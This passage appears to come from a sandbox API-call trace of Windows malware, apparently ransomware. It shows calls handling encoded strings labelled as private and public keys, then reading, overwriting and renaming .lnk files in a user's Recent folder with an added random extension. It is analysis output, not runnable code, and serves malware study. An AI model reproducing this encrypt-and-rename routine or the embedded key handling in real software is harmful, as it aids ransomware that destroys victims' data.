hsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.318] GetCurrentThreadId () returned 0xa30 [0081.318] GetCurrentThreadId () returned 0xa30 [0081.318] GetCurrentThreadId () returned 0xa30 [0081.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.319] GetCurrentThreadId () returned 0xa30 [0081.319] GetCurrentThreadId () returned 0xa30 [0081.319] GetCurrentThreadId () returned 0xa30 [0081.319] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EMtuZH-5jQdTrJmsCm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\emtuzh-5jqdtrjmscm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.319] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.319] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.319] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1ace [0081.320] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.320] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1ace, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1ace, lpOverlapped=0x0) returned 1 [0081.321] CloseHandle (hObject=0x124) returned 1 [0081.321] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EMtuZH-5jQdTrJmsCm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\emtuzh-5jqdtrjmscm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.322] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1ace, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1ace, lpOverlapped=0x0) returned 1 [0081.324] CloseHandle (hObject=0x124) returned 1 [0081.325] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EMtuZH-5jQdTrJmsCm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\emtuzh-5jqdtrjmscm.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EMtuZH-5jQdTrJmsCm.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\emtuzh-5jqdtrjmscm.lnk.zv7un")) returned 1 [0081.326] GetCurrentThreadId () returned 0xa30 [0081.326] GetCurrentThreadId () returned 0xa30 [0081.326] GetCurrentThreadId () returned 0xa30 [0081.327] GetCurrentThreadId () returned 0xa30 [0081.327] GetCurrentThreadId () returned 0xa30 [0081.327] GetCurrentThreadId () returned 0xa30 [0081.327] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2273360, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe306f4a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe306f4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="EvnXETH8or.lnk", cAlternateFileName="EVNXET~1.LNK")) returned 1 [0081.327] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.327] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EvnXETH8or.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\evnxeth8or.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2273360, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe306f4a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe306f4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x976)) returned 1 [0081.327] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EvnXETH8or.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\evnxeth8or.lnk")) returned 0x20 [0081.327] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EvnXETH8or.lnk", dwFileAttributes=0x80) returned 1 [0081.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 